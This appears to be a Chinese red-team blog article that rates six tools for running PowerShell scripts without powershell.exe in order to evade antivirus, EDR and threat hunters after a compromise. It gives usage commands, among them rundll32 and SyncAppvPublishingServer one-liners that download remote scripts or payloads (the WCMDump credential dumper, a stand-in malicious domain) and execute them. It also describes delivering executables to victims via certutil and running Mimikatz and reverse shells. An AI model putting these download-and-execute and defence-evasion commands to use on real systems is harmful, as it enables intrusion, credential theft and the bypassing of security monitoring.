请帮忙点在看,点赞,转发
在过去的几个月里,观察黑客和防病毒软件的移动方式,写这篇文章给所有正在寻找最佳技术的渗透测试人员和红队成员,以便在后期利用阶段使用他们的 PowerShell
脚本或命令行,而无需运行PowerShell.exe
,从而避免被下一代防病毒软件、EDR
或蓝队或威胁搜寻团队捕获。
尝试和分析适用于此目的的不同工具。对于这些工具中的每一个,给出了个人评分。以下是本文测试的工具列表:
PowerLine
→ 得分:9NPS
— Not PowerShell
→ 得分:4PowerShdll
→ 评分:7PowerLessShell
→ 得分:5Nopowershell
→ 得分:6SyncAppvPublishingServer
→ 分数:7
由 Brian Fehrman
创建的非常好的实用程序,可以在不直接调用 PowerShell
的情况下调用 PowerShell
脚本。这个工具是用 C#
编写的,可以纯粹从命令行使用,包括远程使用。简而言之,可以在不使用 PowerShell.exe
的情况下使用预先存在的 PowerShell
脚本。PowerLine
目前的主要特点是:
易于部署和构建——无需 Visual Studio
自动检测Win7
或Win10
系统
能够用作 PowerShell
终端
通过 XML
设置指定要包含的远程脚本(脚本保留在内存中)
每次构建中生成随机字节并用于 XOR
脚本
一旦在计算机上实现了远程代码执行,获得令人满意的后期利用就很重要了。运行一系列 PowerShell
工具有助于完成这项工作:Meterpreter
、Mimikatz
、PowerView
、PowerUp
、Inveigh
等。
部署非常简单且模块化。要拥有 PowerLine
的功能版本,必须遵循以下步骤:
下载代码:https: //github.com/fullmetalcache/PowerLine
运行build.bat
文件
UserConf.xml
文档包含想要包含的脚本 URL
PLBuilder.exe
文件 PowerLine.exe
程序,它包含您指定的所有脚本的嵌入式、异或编码、base64编码版本如果所有部署步骤都成功,则应该将PowerLine.exe
可执行文件发送给受害者。可以使用certutil
从远程主机获取可执行文件。如果直接在受害机器上下载原始 Github
代码,则可以使用本地 PowerLine.exe
文件。这里的示例用法:
目前,该工具在编译阶段能够在Windows 10
的1903
版本上绕过 Windows Defender
。显然,根据正在加载的脚本,可以绕过防病毒软件。例如,在Mimikatz
的情况下,由于加载了基本版本,Windows Defender
能够阻止它,但对于其他常见的恶意脚本,则有可能绕过它。例如,导入 WCMDump Ps1
脚本可以绕过 Windows Defender
并在没有 Powershell.exe
的情况下运行脚本:
没有 PowerLine 的标准恶意命令行:
下载脚本并运行它,但 Defender
阻止了它
使用 PowerLine
绕过 Windows Defender
:
PowerLine
似乎是一个绕过 杀毒软件 和 EDR
的好工具,杀毒软件和EDR
只控制由 PowerShell
启动的恶意命令行。在 Windows 进程树中,命令行由 PowerLine.exe
进程执行。显然,此工具和相关检测取决于加载的脚本。该工具的缺点之一是每次想要加载新脚本时都必须将其添加到配置文件中,这可能会减慢后期利用活动,但这取决于参与的时间。可以在开始攻击之前使用所需的所有脚本创建自定义版本。简而言之,PowerLine
对于后期利用期间的绕过非常有用,但可扩展性和速度不是很好。此处防病毒绕过的真正附加值是脚本编码。
该工具的所有版本目前都被 Windows Defender
检测到,因此不在我们的顶级工具列表。由于有很多红队队员具有抑制或绕过防病毒软件的强大能力,因此我们尝试使用相同的此工具,但至少在第一个下载阶段禁用 Windows Defender
, 这样才可以下载完整的代码并编译杀毒软件可能无法检测到的自定义版本,。
这里的使用命令:
cmdline:
nps.exe "{powershell single command}"
nps.exe "& {commands; semi-colon; separated}"
nps.exe -encodedcommand {base64_encoded_command}
nps.exe -encode "commands to encode to base64"
nps.exe -解码{base64_encoded_command}
我试图对恶意脚本进行编码并运行它。因为 Defender 已关闭,所以它有效。一旦重新激活它,它就会立即将可执行文件检测为恶意文件并将其删除。查看 Windows
进程树,可能会注意到启动 powershell
命令所涉及的唯一进程始终是 nps.exe
,并且永远不会调用 powershell.exe
,但检测率是相同的。
在特别不安全的环境中,可以考虑使用此工具,在这些环境中,红队队员希望留下很少的恶意“powershell
”命令行痕迹。在所有其他情况下,会被立刻删除。
此工具仅允许使用 dll
运行 PowerShell
脚本和命令。,因为使用 powershell
自动化 dll
,不需要使用 powershell.exe
。PowerShdll
可以与 rundll32.exe
、installutil.exe
、regsvcs.exe
、regasm.exe
、regsvr32.exe
一起运行或作为独立的可执行文件运行。
用法示例:
# Rundll32 Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window
rundll32 PowerShdll,main -i Start an interactive console in this console
# Exe Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console
# Run base64 encoded script:
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Download and run script
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
真实示例:
运行标准 Mimikatz
工具或其他凭证转储工具(如WCMDump
),Windows Defender
在两种情况下(exe
和 dll
使用)都会阻止恶意行为。我也尝试先下载 ps1
,但在这种情况下,Windows Defender
具有这些脚本的签名,它一样删除它们。
这个工具有一些有趣的特性,可以直接与 rundll32
一起使用,这可以绕过一些杀毒软件 并避免使用已经用已知哈希编译的可执行文件
l
PowerLessShell
依靠 MSBuild.exe
远程执行 PowerShell
脚本和命令,而无需启动 powershell.exe
。也可以使用相同的方法执行原始 shellcode
。
如果尝试通过 PowerLessShell
运行 WMCDump ps1
脚本,它将被 Windows Defender
阻止。这里有所有的细节:
反向 shell
也一样:
目前这个工具使用起来很不方便,因为所有的有效载荷都必须在黑客的机器上创建和复制,即使是最简单的有效载荷也会被检测到。这意味着没有真正的代码混淆或规避方法。Windows Defender
会看到执行的恶意命令,即使不是直接通过 PowerShell
运行它们也是如此。此外,生成的 .bat
文件在运行阶段经常失败。
NoPowerShell
是一种用 C#
实现的工具,它支持执行类似 PowerShell
的命令,同时对任何 PowerShell
日志记录机制保持不可见。使用 NoPowerShell
的原因:
执行相当隐蔽
强大的功能
提供 PowerShell
的 cmdlet
可以使用 cmd.exe
别名(即ping代替Test-NetConnection)
如果 viapowerpick
或powershellcmdlet
不可用,nps
可提供(如,来自 ActiveDirectory
模块的 cmdlet
)
只需几行 C# 即可轻松扩展
支持的命令:
这里有一些可执行文件的测试:
这里有一些通过 dll
运行 NoPowerShell
的测试:
此工具与 PowerShdll
几乎相同。它具有嵌入式功能,使您无需详细了解所有 PowerShell
功能即可轻松启动命令。但是,它似乎缺乏像 PowerShdll
那样直接从命令行运行 ps1
脚本的可能性。
此工具的注意事项与 PowerShdll
的注意事项类似。对于在不启动 powershell
进程的情况下 使用powershell 命令非常有用,从而避免被 EDR 或威胁猎手识别。该工具直观、实用且快速。非常适合在时间很短且没有恶意命令运行的情况下用于评估, 但只支持有限的功能和命令列。
Sync-AppvPublishingServer
cmdlet
在当前用户的上下文中启动 Microsoft Application Virtualization (App-V)
发布刷新操作。SyncAppVPublishingServer
工具在 Windows 上有两个版本:
可执行文件 .exe → SyncAppvPublishingServer.exe
VBScript
→ SyncAppvPublishingServer.vbs
这两个工具都可以在 Windows 10
的路径“ C:\Windows\System32
”中找到,并且都由 Microsoft
签名。
这里有一些测试命令行:
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://172.16.217.130:443"
C:\Windows\System32\SyncAppvPublishingServer.vbs; Start-Process calc
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process cmd.exe '/c notepad.exe'"
C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"
C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile('[MaliciousDomain]/Win.exe','$env:USERPROFILE/payload.exe'); Start-Process '$env:USERPROFILE/payload.exe' -WindowStyle Minimized;"
SyncAppvPublishingServer.vbs "n; ((New-Object Net.WebClient) .DownloadString ('http://malciousdomain/payload.ps1') | IEX '
Windows Defender
能够像在 Powershell
中一样从这些文件中检测到恶意命令行。此外,当我尝试运行一行反向Shell
时,Windows Defender
检测到命令注入到 SyncApp
文件中。
命令行运行程序或字符串,但所有生成内部输出的程序(如 ipconfig
或 whoami
)结果都不会显示在 cli
中,因此很难通过此工具执行那些搜集信息的powershell
命令。相反,如果在受害者计算机上运行恶意 .ps1
,例如使用恶意 powershell
脚本作为第一或第二阶段的各种银行木马,则特别有用。在这种情况下,将避免EDR在进程树检测到。但这个工具还是会被杀毒软件使用签名检测。